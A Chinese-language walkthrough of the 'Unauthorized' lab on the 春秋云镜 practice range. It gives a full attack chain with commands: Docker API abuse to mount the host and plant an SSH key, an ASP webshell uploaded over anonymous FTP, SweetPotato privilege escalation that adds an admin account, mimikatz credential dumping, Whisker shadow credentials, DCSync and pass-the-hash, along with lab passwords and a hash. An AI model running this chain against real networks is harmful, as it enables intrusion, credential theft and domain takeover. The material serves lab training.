春秋云镜-【仿真场景】Unauthorized writeup

说明

Unauthorized是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

技术

FTP、Privilege Elevation、AD CS、Kerberos、域渗透

第一个flag

docker 未授权

通过外网信息收集,发现docker未授权

https://cloud.tencent.com/developer/article/1744943

查看镜像

docker -H tcp://47.92.7.138:2375 images

查看容器

docker -H tcp://47.92.7.138:2375 ps -a

启动容器并将宿主机磁盘挂载到/mnt

docker -H tcp://47.92.7.138:2375 run -it -v /:/mnt --entrypoint /bin/bash ubuntu:18.04

写入公钥

在vps上生成秘钥,敲下回车后会有3个交互,第一个是文件名,默认是id_rsa,如需修改,自己输入一个文件名便可。第二与第三是密码与确认密码,是以后使用该公钥时要输入的密码,一般不设置,如有强烈的安全需求,自己设置便可。最后会生成两个文件id_rsa,id_rsa.pub。以.pub结尾的是公钥,另一个是私钥

ssh-keygen -t rsa

将公钥其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中

cd /mnt/root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2......." > authorized_keys

可以本地直接用私钥登录ssh

查找flag,提示flag并不在这里

mysql弱口令

查看本机开放的端口

netstat -aptn

查看历史命令,找到mysql密码为123456,其实爆破也能爆破出来

history

访问mysql数据库

mysql -uroot -p123456

mysql> show databases;
mysql> use secret;
mysql> show tables;
mysql> select * from f1agggg01

获得第一个flag

‍第二个flag

横向渗透

上传npc设置代理,fscan扫描 172.22.7.0/24

172.22.7.67:8081 open
172.22.7.13:80 open
172.22.7.13:22 open
172.22.7.67:445 open
172.22.7.31:445 open
172.22.7.67:21 open
172.22.7.6:445 open
172.22.7.67:80 open
172.22.7.67:139 open
172.22.7.31:139 open
172.22.7.6:139 open
172.22.7.31:135 open
172.22.7.67:135 open
172.22.7.6:135 open
172.22.7.6:88 open
172.22.7.13:2375 open
[+] NetInfo:
[*]172.22.7.6
   [->]DC02
   [->]172.22.7.6
[*] 172.22.7.67          XIAORANG\WIN-9BMCSG0S  
[*] WebTitle:http://172.22.7.13        code:200 len:27170  title:某某装饰
[+] NetInfo:
[*]172.22.7.67
   [->]WIN-9BMCSG0S
   [->]172.22.7.67
[+] NetInfo:
[*]172.22.7.31
   [->]ADCS
   [->]172.22.7.31
[*] 172.22.7.31          XIAORANG\ADCS          
[*] 172.22.7.6     [+]DC XIAORANG\DC02          
[*] WebTitle:http://172.22.7.13:2375   code:404 len:29     title:None
[+] ftp://172.22.7.67:21:anonymous 
   [->]1-1P3201024310-L.zip
   [->]1-1P320102603C1.zip
   [->]1-1P320102609447.zip
   [->]1-1P320102615Q3.zip
   [->]1-1P320102621J7.zip
   [->]1-1P320102J30-L.zip
[*] WebTitle:http://172.22.7.67        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.7.67:8081   code:200 len:4621   title:公司管理后台
[+] http://172.22.7.13:2375 poc-yaml-docker-api-unauthorized-rce 
[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file
[+] http://172.22.7.13:2375 poc-yaml-go-pprof-leak 

FTP未授权

发现了http://172.22.7.67:8081/www.zip 备份压缩包 ,解压后发现download的文件夹与匿名登录的ftp的共享文件一致

因此可以通过ftp上传 webshell

shell地址

http://172.22.7.67:8081/download/shell.asp

直接使用土豆提权,上传SweetPotato.exe

SweetPotato.exe -a "whoami"

经测试3389是开启的,直接添加账号然后登录

SweetPotato.exe -a "net user devyn Admin@123 /add"
SweetPotato.exe -a "net localgroup administrators devyn /add"

获取flag

‍第三个flag

注意此新建的用户无法执行域命令,所以需要查询到域账号,然后使用PTH登录,如果找到密码可以直接登录,其实也可以直接在shell中执行mimikatz抓取Hash,这边远程桌面使用cmd执行方便一点

抓取到了域账户 zhangfeng/FenzGTaVF6En,重新使用域账号登录,注意用户名要填写 zhangfeng@xiaorang.lab

shadow-credentials

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

以下账户拥有 msDS-KeyCredentialLink 属性的写入权限:

  • 域管理员账户
  • Key Admins 组中的账户
  • Enterprise Key Admins 组中的账户
  • 对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户
  • 机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限

zhangfeng账户在Key Admins组中,具有写入权限

向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials

Whisker.exe add /target:DC02$ /domain:xiaorang.lab /dc:DC02.xiaorang.lab

添加成功后,程序提示命令,基于证书的身份验证请求TGT票据,注意提示命令的最后加上 /ptt

域控制器账户拥有特权,可以使用 Mimikatz 执行 DCSync 来导出域管哈希

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

哈希传递

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:bf967c5a0f7256e2eaba589fbd29a382 Administrator@172.22.7.6
posted @ 2023-03-07 11:05  渗透测试中心  阅读(432)  评论(0编辑  收藏  举报